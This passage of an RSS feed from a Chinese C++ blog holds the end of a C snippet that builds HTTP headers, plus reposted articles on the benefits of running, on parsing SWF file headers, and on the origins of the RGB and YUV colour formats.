#0000FF; ">else</span><br /><span style="color: #008080; ">41</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strcat(head,"Connection:&nbsp;close");<br /><span style="color: #008080; ">42</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br /><span style="color: #008080; ">43</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strcat(head,"/r/n");&nbsp;&nbsp;<br /><span style="color: #008080; ">44</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strcat(head,"/r/n");&nbsp;&nbsp;<br /><span style="color: #008080; ">45</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br /><span style="color: #008080; ">46</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">if</span>(method&nbsp;==&nbsp;MEF_HTTP_POST)<br /><span style="color: #008080; ">47</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br /><span style="color: #008080; ">48</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">if</span>(msg_body)<br /><span style="color: #008080; ">49</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br /><span style="color: #008080; ">50</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strcat(head,msg_body);&nbsp;&nbsp;<br /><span style="color: #008080; ">51</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><span style="color: #008080; ">52</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><span style="color: #008080; ">53</span>&nbsp;}&nbsp;</div></div></p>转自：<a href="http://blog.csdn.net/yc0188/article/details/4741871">http://blog.csdn.net/yc0188/article/details/4741871</a><img src ="http://www.cppblog.com/flyinghare/aggbug/190381.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/flyinghare/" target="_blank">会飞的兔子</a> 2012-09-12 13:54 <a href="http://www.cppblog.com/flyinghare/archive/2012/09/12/190381.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>跑步的好处</title><link>http://www.cppblog.com/flyinghare/archive/2012/05/15/174954.html</link><dc:creator>会飞的兔子</dc:creator><author>会飞的兔子</author><pubDate>Tue, 15 May 2012 03:36:00 GMT</pubDate><guid>http://www.cppblog.com/flyinghare/archive/2012/05/15/174954.html</guid><wfw:comment>http://www.cppblog.com/flyinghare/comments/174954.html</wfw:comment><comments>http://www.cppblog.com/flyinghare/archive/2012/05/15/174954.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/flyinghare/comments/commentRss/174954.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/flyinghare/services/trackbacks/174954.html</trackback:ping><description><![CDATA[<span style="color: #111111; font-family: Arial, Helvetica, sans-serif; font-size: 13px; background-color: #ffffff; ">1.告别臃肿身材。&nbsp;</span><br style="color: #111111; font-family: Arial, Helvetica, sans-serif; font-size: 13px; background-color: #ffffff; " /><br style="color: #111111; font-family: Arial, Helvetica, sans-serif; font-size: 13px; background-color: #ffffff; " /><span style="color: #111111; font-family: Arial, Helvetica, sans-serif; font-size: 13px; background-color: #ffffff; ">许多人开始跑步就是因为减肥，跑步确实减肥的最好运动方式，跑步每分钟比起其他运动燃烧更多的卡路里。&nbsp;</span><br style="color: #111111; font-family: Arial, Helvetica, sans-serif; font-size: 13px; background-color: #ffffff; " /><br style="color: #111111; font-family: Arial, Helvetica, sans-serif; font-size: 13px; background-color: #ffffff; " /><span style="color: #111111; font-family: Arial, Helvetica, sans-serif; font-size: 13px; background-color: #ffffff; ">2.防止你的骨骼，肌肉退化。&nbsp;</span><br style="color: #111111; font-family: Arial, Helvetica, sans-serif; font-size: 13px; background-color: #ffffff; " /><br style="color: #111111; font-family: Arial, Helvetica, sans-serif; font-size: 13px; background-color: #ffffff; " /><span style="color: #111111; font-family: Arial, Helvetica, sans-serif; font-size: 13px; background-color: #ffffff; ">我们的骨骼是和你的身体需求相互协调的。长期坐在显示器前的我们让我们的骨骼越来越脆弱。而长期的，经常的运动会使你的骨骼保持健康。更进一步说就是防止我们身体内部老化的更快。经常的高强度锻炼，例如跑步，被证明可以促进人体荷尔蒙的生长，荷尔蒙就是那些名人为了看起来更年轻而持续注射的药剂。&nbsp;</span><br style="color: #111111; font-family: Arial, Helvetica, sans-serif; font-size: 13px; background-color: #ffffff; " /><br style="color: #111111; font-family: Arial, Helvetica, sans-serif; font-size: 13px; background-color: #ffffff; " /><span style="color: #111111; font-family: Arial, Helvetica, sans-serif; font-size: 13px; background-color: #ffffff; ">3.抵抗疾病&nbsp;</span><br style="color: #111111; font-family: Arial, Helvetica, sans-serif; font-size: 13px; background-color: #ffffff; " /><br style="color: #111111; font-family: Arial, Helvetica, sans-serif; font-size: 13px; background-color: #ffffff; " /><span style="color: #111111; font-family: Arial, Helvetica, sans-serif; font-size: 13px; background-color: #ffffff; ">跑步可以降低得中风和乳腺癌的风险。经常的跑步已经成为医生对那些容易引发或在已经处在早期的骨质疏松，糖尿病，高血压病人的治疗建议。&nbsp;</span><br style="color: #111111; font-family: Arial, Helvetica, sans-serif; font-size: 13px; background-color: #ffffff; " /><br style="color: #111111; font-family: Arial, Helvetica, sans-serif; font-size: 13px; background-color: #ffffff; " /><span style="color: #111111; font-family: Arial, Helvetica, sans-serif; font-size: 13px; background-color: #ffffff; ">4.维持并提高总体的身体水平。&nbsp;</span><br style="color: #111111; font-family: Arial, Helvetica, sans-serif; font-size: 13px; background-color: #ffffff; " /><br style="color: #111111; font-family: Arial, Helvetica, sans-serif; font-size: 13px; background-color: #ffffff; " /><span style="color: #111111; font-family: Arial, Helvetica, sans-serif; font-size: 13px; background-color: #ffffff; ">跑步是是人们可以采取的最好的锻炼身体的运动。它可以提高胆固醇,降低血液凝块的危险，锻炼你的50%的经常处于闲置状态的肺。跑步还可以通过增加你的淋巴细胞来增强你的免疫力。&nbsp;</span><br style="color: #111111; font-family: Arial, Helvetica, sans-serif; font-size: 13px; background-color: #ffffff; " /><br style="color: #111111; font-family: Arial, Helvetica, sans-serif; font-size: 13px; background-color: #ffffff; " /><span style="color: #111111; font-family: Arial, Helvetica, sans-serif; font-size: 13px; background-color: #ffffff; ">5.让你更加自信。&nbsp;</span><br style="color: #111111; font-family: Arial, Helvetica, sans-serif; font-size: 13px; background-color: #ffffff; " /><br style="color: #111111; font-family: Arial, Helvetica, sans-serif; font-size: 13px; background-color: #ffffff; " /><span style="color: #111111; font-family: Arial, Helvetica, sans-serif; font-size: 13px; background-color: #ffffff; ">慢跑像其他一些单人运动一样，它可以增强你的自信心。跑步让你完成一次又一次的尝试，让你变得更强大，更加肯定自己。他让你真实的越过某个山峰，穿过某个障碍.在意识到你的身体已经更加强壮，更加有用，你会得到被赋予力量和自由的感觉。自信更是那些通过跑步成功的减肥并得到自己心中理想身材的跑步者的宝贵财富。&nbsp;</span><br style="color: #111111; font-family: Arial, Helvetica, sans-serif; font-size: 13px; background-color: #ffffff; " /><br style="color: #111111; font-family: Arial, Helvetica, sans-serif; font-size: 13px; background-color: #ffffff; " /><span style="color: #111111; font-family: Arial, Helvetica, sans-serif; font-size: 13px; background-color: #ffffff; ">6.放松自己，减轻压力。&nbsp;</span><br style="color: #111111; font-family: Arial, Helvetica, sans-serif; font-size: 13px; background-color: #ffffff; " /><br style="color: #111111; font-family: Arial, Helvetica, sans-serif; font-size: 13px; background-color: #ffffff; " /><span style="color: #111111; font-family: Arial, Helvetica, sans-serif; font-size: 13px; background-color: #ffffff; ">慢跑可以转移聂注意力，沐浴在路旁的风景中，你的烦恼一定会消失殆尽。&nbsp;</span><br style="color: #111111; font-family: Arial, Helvetica, sans-serif; font-size: 13px; background-color: #ffffff; " /><span style="color: #111111; font-family: Arial, Helvetica, sans-serif; font-size: 13px; background-color: #ffffff; ">长跑适合那些正处在一堆头疼，恼人的烦心事的人。还有比在两个小时的长跑中，清理的的头脑、舒缓自己的神经更好的主意了吗。&nbsp;</span><br style="color: #111111; font-family: Arial, Helvetica, sans-serif; font-size: 13px; background-color: #ffffff; " /><span style="color: #111111; font-family: Arial, Helvetica, sans-serif; font-size: 13px; background-color: #ffffff; ">如果你此时觉得异常压抑，何不快跑一下呢，之后你会一个好的心情。&nbsp;</span><br style="color: #111111; font-family: Arial, Helvetica, sans-serif; font-size: 13px; background-color: #ffffff; " /><br style="color: #111111; font-family: Arial, Helvetica, sans-serif; font-size: 13px; background-color: #ffffff; " /><span style="color: #111111; font-family: Arial, Helvetica, sans-serif; font-size: 13px; background-color: #ffffff; ">7.著名的&#8220;跑步者高峰体验&#8221;&nbsp;</span><br style="color: #111111; font-family: Arial, Helvetica, sans-serif; font-size: 13px; background-color: #ffffff; " /><br style="color: #111111; font-family: Arial, Helvetica, sans-serif; font-size: 13px; background-color: #ffffff; " /><span style="color: #111111; font-family: Arial, Helvetica, sans-serif; font-size: 13px; background-color: #ffffff; ">包括释放压力，慢跑被证明提高你的心态。跑步，特别在户外和旅行中,会使身体释放一种物质让你产生一种幸福愉悦感（跑步者高峰体验）或者就是快乐的感觉。跑步已经被采用了多年来治疗临床抑郁症，上瘾等。更少的压力，更少的压抑，更少的疲劳，更少的混乱，经过一段时间的经常跑步，病人很快就有了变化。跑步让他们有了注意的对象，让他们看到了除了他们消极的状态和沉溺的事务，还有一些美好的东西的存在。&nbsp;</span><br style="color: #111111; font-family: Arial, Helvetica, sans-serif; font-size: 13px; background-color: #ffffff; " /><br style="color: #111111; font-family: Arial, Helvetica, sans-serif; font-size: 13px; background-color: #ffffff; " /><span style="color: #111111; font-family: Arial, Helvetica, sans-serif; font-size: 13px; background-color: #ffffff; ">8.锻炼你的头脑。&nbsp;</span><br style="color: #111111; font-family: Arial, Helvetica, sans-serif; font-size: 13px; background-color: #ffffff; " /><br style="color: #111111; font-family: Arial, Helvetica, sans-serif; font-size: 13px; background-color: #ffffff; " /><span style="color: #111111; font-family: Arial, Helvetica, sans-serif; font-size: 13px; background-color: #ffffff; ">像对你的身体有所帮助一样，跑步同样对你的头脑很有帮助。通过在跑步中克服一系列的障碍，你学会了专注和决心.在经历那些你几乎要放弃的长跑或其他项目后你会发现：你在跑步过程中产生的意志和体魄的增强让你在其他方面有着同样的专注和决心。&nbsp;</span><br style="color: #111111; font-family: Arial, Helvetica, sans-serif; font-size: 13px; background-color: #ffffff; " /><br style="color: #111111; font-family: Arial, Helvetica, sans-serif; font-size: 13px; background-color: #ffffff; " /><span style="color: #111111; font-family: Arial, Helvetica, sans-serif; font-size: 13px; background-color: #ffffff; ">9.增强合作精神。&nbsp;</span><br style="color: #111111; font-family: Arial, Helvetica, sans-serif; font-size: 13px; background-color: #ffffff; " /><br style="color: #111111; font-family: Arial, Helvetica, sans-serif; font-size: 13px; background-color: #ffffff; " /><span style="color: #111111; font-family: Arial, Helvetica, sans-serif; font-size: 13px; background-color: #ffffff; ">又是一个非常值得去做的好处。这点好处或许让很多人感到惊奇，因为人们认为跑步不可能得到这种益处，仅仅由于跑步是单人运动。但是跑步确实有时涉及到互相合作。旅行跑步，特别是在那些路况不好的地方，需要极大的合作意识。这些路面经常会有一些 障碍如石头、灌木让跑步进行的很困难。&nbsp;</span><br style="color: #111111; font-family: Arial, Helvetica, sans-serif; font-size: 13px; background-color: #ffffff; " /><br style="color: #111111; font-family: Arial, Helvetica, sans-serif; font-size: 13px; background-color: #ffffff; " /><span style="color: #111111; font-family: Arial, Helvetica, sans-serif; font-size: 13px; background-color: #ffffff; ">10.随时随地，简单。&nbsp;</span><br style="color: #111111; font-family: Arial, Helvetica, sans-serif; font-size: 13px; background-color: #ffffff; " /><br style="color: #111111; font-family: Arial, Helvetica, sans-serif; font-size: 13px; background-color: #ffffff; " /><span style="color: #111111; font-family: Arial, Helvetica, sans-serif; font-size: 13px; background-color: #ffffff; ">不是很多的运动可以在任何地方，几乎不需要设备的。我敢肯定古代希腊人会争辩说甚至是鞋子和衣服也不需要。今天，我们只是需要一双好点的跑步鞋然后就可以出发了。从市中心到郊区,整个世界的地方等待你的探索。经常出差吗？你的旅行箱里肯定会有空间来装你的运动鞋的。这个世界就是你的健身房，去再次发现它吧。&nbsp;</span><br style="color: #111111; font-family: Arial, Helvetica, sans-serif; font-size: 13px; background-color: #ffffff; " /><br style="color: #111111; font-family: Arial, Helvetica, sans-serif; font-size: 13px; background-color: #ffffff; " /><span style="color: #111111; font-family: Arial, Helvetica, sans-serif; font-size: 13px; background-color: #ffffff; ">Here are some tips for how to make running a practice:&nbsp;</span><br style="color: #111111; font-family: Arial, Helvetica, sans-serif; font-size: 13px; background-color: #ffffff; " /><br style="color: #111111; font-family: Arial, Helvetica, sans-serif; font-size: 13px; background-color: #ffffff; " /><span style="color: #111111; font-family: Arial, Helvetica, sans-serif; font-size: 13px; background-color: #ffffff; ">Be consistent in your running program. Plan your weekly workout schedule and stick to it. This will teach you persistence.&nbsp;</span><br style="color: #111111; font-family: Arial, Helvetica, sans-serif; font-size: 13px; background-color: #ffffff; " /><span style="color: #111111; font-family: Arial, Helvetica, sans-serif; font-size: 13px; background-color: #ffffff; ">Know which focuses you'll use during every run. This will teach you planning and mindfulness, and improve your mind/body connection.&nbsp;</span><br style="color: #111111; font-family: Arial, Helvetica, sans-serif; font-size: 13px; background-color: #ffffff; " /><span style="color: #111111; font-family: Arial, Helvetica, sans-serif; font-size: 13px; background-color: #ffffff; ">Constantly practice relaxing your muscles. This will help to relieve tension and train you to relax no matter what activity you're doing.&nbsp;</span><br style="color: #111111; font-family: Arial, Helvetica, sans-serif; font-size: 13px; background-color: #ffffff; " /><span style="color: #111111; font-family: Arial, Helvetica, sans-serif; font-size: 13px; background-color: #ffffff; ">At the end of your run, spend a few minutes doing an "end-of-run review." Ask yourself how well you did with keeping your focuses, how your body felt during the run. What did you come away with that will help your next run? Then, the next time you go out for a run, you'll have something to work on that you brought forward from your last run. In this way you'll build a healthy, growing and sustainable running program.&nbsp;</span>&nbsp;<br />转自：<a href="http://www.douban.com/group/topic/20749798/">http://www.douban.com/group/topic/20749798/</a><img src ="http://www.cppblog.com/flyinghare/aggbug/174954.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/flyinghare/" target="_blank">会飞的兔子</a> 2012-05-15 11:36 <a href="http://www.cppblog.com/flyinghare/archive/2012/05/15/174954.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>解析swf文件头，获取flash的原始尺寸</title><link>http://www.cppblog.com/flyinghare/archive/2012/02/23/166312.html</link><dc:creator>会飞的兔子</dc:creator><author>会飞的兔子</author><pubDate>Thu, 23 Feb 2012 03:05:00 GMT</pubDate><guid>http://www.cppblog.com/flyinghare/archive/2012/02/23/166312.html</guid><wfw:comment>http://www.cppblog.com/flyinghare/comments/166312.html</wfw:comment><comments>http://www.cppblog.com/flyinghare/archive/2012/02/23/166312.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/flyinghare/comments/commentRss/166312.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/flyinghare/services/trackbacks/166312.html</trackback:ping><description><![CDATA[<span style="font-family: song, Verdana; line-height: 22px; background-color: #f0f3fa; ">想要实现用PHP来得到swf文件帧数的功能，一些网友回复说不可能，其实是他们对swf文件格式不了解，swf文件格式规范是开放的，而 且也可以找到相当多的关于直接用PHP处理swf文件的，包括解析文件头，生成swf文件等。利用闲暇时间，我也写了一个粗陋的解析swf文件的类。</span><br style="word-wrap: break-word; font-family: song, Verdana; line-height: 22px; background-color: #f0f3fa; " /><span style="font-family: song, Verdana; line-height: 22px; background-color: #f0f3fa; ">要想解析swf文件头，首先要弄清楚的当然是swf文件格式规范。规范中对swf文件格式作了详细的说明。关于swf文件头，它是由以下几个部分组成：</span><br style="word-wrap: break-word; font-family: song, Verdana; line-height: 22px; background-color: #f0f3fa; " /><span style="font-family: song, Verdana; line-height: 22px; background-color: #f0f3fa; ">+-------+---+--------+--------+---+----+</span><br style="word-wrap: break-word; font-family: song, Verdana; line-height: 22px; background-color: #f0f3fa; " /><span style="font-family: song, Verdana; line-height: 22px; background-color: #f0f3fa; ">|文件标识|版本|文件大小|RECT字段|帧频|帧数|</span><br style="word-wrap: break-word; font-family: song, Verdana; line-height: 22px; background-color: #f0f3fa; " /><span style="font-family: song, Verdana; line-height: 22px; background-color: #f0f3fa; ">+-------+---+--------+--------+---+----+</span><br style="word-wrap: break-word; font-family: song, Verdana; line-height: 22px; background-color: #f0f3fa; " /><span style="font-family: song, Verdana; line-height: 22px; background-color: #f0f3fa; ">其中&#8220;文件标识&#8221;为3个字节，包括文件压缩标志。这3个字节的内容为&#8220;FWS&#8221;或&#8220;CWS&#8221;，以&#8216;C&#8217;开头的表示swf文件是采用的压缩输出（从RECT字段开始至文件结尾，采用Zlib标准进行文件压缩）。</span><br style="word-wrap: break-word; font-family: song, Verdana; line-height: 22px; background-color: #f0f3fa; " /><span style="font-family: song, Verdana; line-height: 22px; background-color: #f0f3fa; ">&#8220;版本&#8221;为一个字节，存储8位字长的无符号整数，将swf文件的导出版本以16进制方式存储在该字节，如导出版本为7，则该字节存储值为0x07，而不是&#8216;7&#8217;对应的ASCII值（0x37）。</span><br style="word-wrap: break-word; font-family: song, Verdana; line-height: 22px; background-color: #f0f3fa; " /><span style="font-family: song, Verdana; line-height: 22px; background-color: #f0f3fa; ">&#8220;文件大小&#8221;存储占用4个字节，为32位无符号整数，将未压缩的swf文件大小以16进制形式存入该4个字段，值得注意的是，swf文件存储是按照 little-endian，即低字节在前的&#8220;小尾&#8221;方式存储的，解析时，需要注意字节序。如一个swf文件大小为471字节，则该4个字节，由低位到高 位，存储的内容将是0xd7，0x01，0x00，0x00。</span><br style="word-wrap: break-word; font-family: song, Verdana; line-height: 22px; background-color: #f0f3fa; " /><span style="font-family: song, Verdana; line-height: 22px; background-color: #f0f3fa; ">&#8220;帧频&#8221;占用两个字节，表示每秒播放的帧数，存储方式是8.8共16位的定点数，整数部分在高位（即第二个字节），小数部分在低位（第一个字节），并按字 节对齐。如小数7.5表示为16进制是0x07.80，按照低位在前，高位在后表示，这16位将存储为如下的2进制代码10000000 00000111。</span><br style="word-wrap: break-word; font-family: song, Verdana; line-height: 22px; background-color: #f0f3fa; " /><span style="font-family: song, Verdana; line-height: 22px; background-color: #f0f3fa; ">&#8220;帧数&#8221;占用两个字节，为16位无符号整数，表示swf文件的总帧数。存储方式类似于&#8220;文件大小&#8221;存储方式。</span><br style="word-wrap: break-word; font-family: song, Verdana; line-height: 22px; background-color: #f0f3fa; " /><span style="font-family: song, Verdana; line-height: 22px; background-color: #f0f3fa; ">难理解的是RECT字段，该字段采用swf文件格式规范中定义的&#8220;位值&#8221;（bit_value）进行存储的，这种存储特征是可以节约字节数，但数值是跨字 节的。该段存储内容是用&#8216;twip&#8217;（翻译为&#8216;缇&#8217;，1pixel = 20twips）单位表示的播放窗口的尺寸。分为Nbits，表示后面字段的bit_value位长；Xmin，Xmax，Ymin，Ymax分别表示 X,Y轴方向上的最小和最大值。</span><br style="word-wrap: break-word; font-family: song, Verdana; line-height: 22px; background-color: #f0f3fa; " /><span style="font-family: song, Verdana; line-height: 22px; background-color: #f0f3fa; ">先说一下bit_value，其特点是不管字节区分，按照最小位数（bits）将值连续存储，在末字节中空位补0，比如两个9位表示的无符号值7，8将占用3个字节，表示为2进制就是：</span><br style="word-wrap: break-word; font-family: song, Verdana; line-height: 22px; background-color: #f0f3fa; " /><span style="font-family: song, Verdana; line-height: 22px; background-color: #f0f3fa; ">00000011 10000010 00000000</span><br style="word-wrap: break-word; font-family: song, Verdana; line-height: 22px; background-color: #f0f3fa; " /><span style="font-family: song, Verdana; line-height: 22px; background-color: #f0f3fa; ">将3个字节按位连在一起，前9位值为7，再9位值为8，在第3个字节的其他空位全部补0。简单了解了bit_value表示方式，再说RECT结构，该字 段前5位（bit）为Nbits字段，表示后面字段的bit_value位长，是一个无符号数，也就是说最大值为为31，如此一来，整个RECT字段的最 大长度为17个字节，也就是说swf文件头最大不超过29个字节。通过Nbits字段得到后面字段的bit_value位长后，就可以确定RECT的具体 长度，继而得知&#8220;帧频&#8221;和&#8220;帧数&#8221;的存储位置。在RECT字段中，从第6位开始，存储的是播放窗口的尺寸数据，根据Nbits值，将后面的部分按位分开计 算，即可得到相应值。但对文件标识为&#8220;CWS&#8221;的swf文件，从&#8220;文件大小&#8221;字段后面开始（即从第8个字节后面开始），是按照Zlib标准压缩存储的，所 以，在解析swf文件头时，首先需判断swf文件是否按照压缩格式导出的。如果是以压缩格式导出的，则需先对头8个字节后面的内容进行解压缩处理了，再来 处理RECT字段和&#8220;帧频&#8221;和&#8220;帧数&#8221;字段。</span>&nbsp;<br />转自：<a href="http://bbs.chinaunix.net/thread-1203803-1-1.html">http://bbs.chinaunix.net/thread-1203803-1-1.html</a><img src ="http://www.cppblog.com/flyinghare/aggbug/166312.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/flyinghare/" target="_blank">会飞的兔子</a> 2012-02-23 11:05 <a href="http://www.cppblog.com/flyinghare/archive/2012/02/23/166312.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>RGB，YUV的来历及其相互转换</title><link>http://www.cppblog.com/flyinghare/archive/2011/07/14/150981.html</link><dc:creator>会飞的兔子</dc:creator><author>会飞的兔子</author><pubDate>Thu, 14 Jul 2011 06:35:00 GMT</pubDate><guid>http://www.cppblog.com/flyinghare/archive/2011/07/14/150981.html</guid><wfw:comment>http://www.cppblog.com/flyinghare/comments/150981.html</wfw:comment><comments>http://www.cppblog.com/flyinghare/archive/2011/07/14/150981.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/flyinghare/comments/commentRss/150981.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/flyinghare/services/trackbacks/150981.html</trackback:ping><description><![CDATA[<span class="Apple-style-span" style="font-family: Arial; ">在视频等相关的应用中，<span><font face="Calibri">YUV</font></span><span>是一个经常出现的格式。本文主要以图解的资料的形式详细描述</span><span><font face="Calibri">YUV</font></span><span>和</span><span><font face="Calibri">RGB</font></span><span>格式的来由，相互关系以及转换方式，并对</span><span><font face="Calibri">C</font></span><span>语言实现的</span><span><font face="Calibri">YUV</font></span><span>转为</span><span><font face="Calibri">RGB</font></span><span>程序进行介绍。</span><p style="margin-top: 0px; margin-right: 0px; margin-left: 0px; margin-bottom: 14px; "><span><span><font face="Calibri">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</font></span></span><span>人类眼睛的色觉，具有特殊的特性，早在上世纪初，</span><span><font face="Calibri">Young</font></span><span>（</span><span><font face="Calibri">1809</font></span><span>）和</span><span><font face="Calibri">Helmholtz</font></span><span>（</span><span><font face="Calibri">1824</font></span><span>）就提出了视觉的三原色学说，即：视网膜存在三种视锥细胞，分别含有对红、绿、蓝三种光线敏感的视色素，当一定波长的光线作用于视网膜时，以一定的比例使三种视锥细胞分别产生不同程度的兴奋，这样的信息传至中枢，就产生某一种颜色的感觉。</span></p><p style="margin-top: 0px; margin-right: 0px; margin-left: 0px; margin-bottom: 14px; "><font size="3"><span><font face="Times New Roman">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</font></span><span>70<span>年代以来，由于实验技术的进步，关于视网膜中有三种对不同波长光线特别敏感的视锥细胞的假说，已经被许多出色的<strong>实验所证实</strong>。</span></span><font face="Times New Roman">&nbsp;</font></font><font face="Times New Roman"></font><font size="3"><span>例如：&#9312;有人用不超过单个视锥直径的细小单色光束，逐个检查并绘制在体（最初实验是在金鱼和蝾螈等动物进行，以后是人）<strong>视锥细胞的光谱吸收曲线</strong>，发现所有绘制出来的曲线不外三种类型，分别代表了三类光谱吸收特性不同的视锥细胞，一类的吸收峰值在</span><span>420nm<span>处，一类在</span>534nm<span>处，一类在</span>564nm<span>处，差不多正好相当于蓝、绿、红三色光的波长。与上述视觉三原色学说的假设相符。&#9313;用微电极记录单个视锥细胞感受器电位的方法，也得到了类似的结果，即不同单色光所引起的不同视锥细胞的超极化型感受器电位的大小也不同，峰值出现的情况符合于三原色学说。</span></span></font></p><span style="font-size: 12pt; font-family: 宋体; "><span><br /><br /><br /><span lang="ZH" style="font-size: 12pt; font-family: 宋体; ">于是，在彩色显示器</span><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">还没有发明的时候，人类已经懂得使用三原色光调配出所有颜色的光。并不是说三原色混合后产生了新的频率的光，而是给人眼睛的感觉是这样。<br /><br /><br /><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">在显示器发明之后，从黑白显示器发展到彩色显示器，人们开始使用发出不同颜色的光的荧光粉（</span><span style="font-size: 12pt; line-height: 18px; "><font face="Calibri">CRT</font></span><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">，等离子体显示器），或者不同颜色的滤色片（</span><span style="font-size: 12pt; line-height: 18px; "><font face="Calibri">LCD</font></span><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">），或者不同颜色的半导体发光器件（</span><span style="font-size: 12pt; line-height: 18px; "><font face="Calibri">OLED</font></span><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">和</span><span style="font-size: 12pt; line-height: 18px; "><font face="Calibri">LED</font></span><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">大型全彩显示牌）来形成色彩，无一例外的选择了</span><span style="font-size: 12pt; line-height: 18px; "><font face="Calibri">Red,Green,Blue</font></span><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">这</span><span style="font-size: 12pt; line-height: 18px; "><font face="Calibri">3</font></span><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">种颜色的发光体作为基本的发光单元。通过控制他们发光强度，组合出了人眼睛能够感受到的大多数的自然色彩。</span><span style="font-size: 12pt; line-height: 18px; "><o:p></o:p></span><p class="MsoNormal" style="margin-top: 0in; margin-right: 0in; margin-left: 0in; margin-bottom: 10pt; "><span style="font-size: 12pt; line-height: 18px; "><span><font face="Calibri">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</font></span></span><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">计算机显示彩色图像的时候也不例外，最终显示的时候，要控制一个像素中</span><span style="font-size: 12pt; line-height: 18px; "><font face="Calibri">Red,Green,Blue</font></span><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">的值，来确定这个像素的颜色。计算机中无法模拟连续的存储从最暗到最亮的量值，而只能以数字的方式表示。于是，结合人眼睛的敏感程度，使用</span><span style="font-size: 12pt; line-height: 18px; "><font face="Calibri">3</font></span><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">个字节（</span><span style="font-size: 12pt; line-height: 18px; "><font face="Calibri">3*8</font></span><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">位）来分别表示一个像素里面的</span><span style="font-size: 12pt; line-height: 18px; "><font face="Calibri">Red,Green</font></span><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">和</span><span style="font-size: 12pt; line-height: 18px; "><font face="Calibri">Blue</font></span><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">的发光强度数值，这就是常见的</span><span style="font-size: 12pt; line-height: 18px; "><font face="Calibri">RGB</font></span><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">格式。我们可以打开画图板，在自定义颜色工具框中，输入</span><span style="font-size: 12pt; line-height: 18px; "><font face="Calibri">r,g,b</font></span><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">值，得到不同的颜色。<br /><br /><br /><br /><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">但是对于视频捕获和编解码等应用来讲，这样的表示方式数据量太大了。需要想办法在不太影响感觉的情况下，对原始数据的表示方法进行更改，减少数据量。</span><span style="font-size: 12pt; line-height: 18px; "><o:p></o:p></span></span></p><p class="MsoNormal" style="margin-top: 0in; margin-right: 0in; margin-left: 0in; margin-bottom: 10pt; "><span style="font-size: 12pt; line-height: 18px; "><font 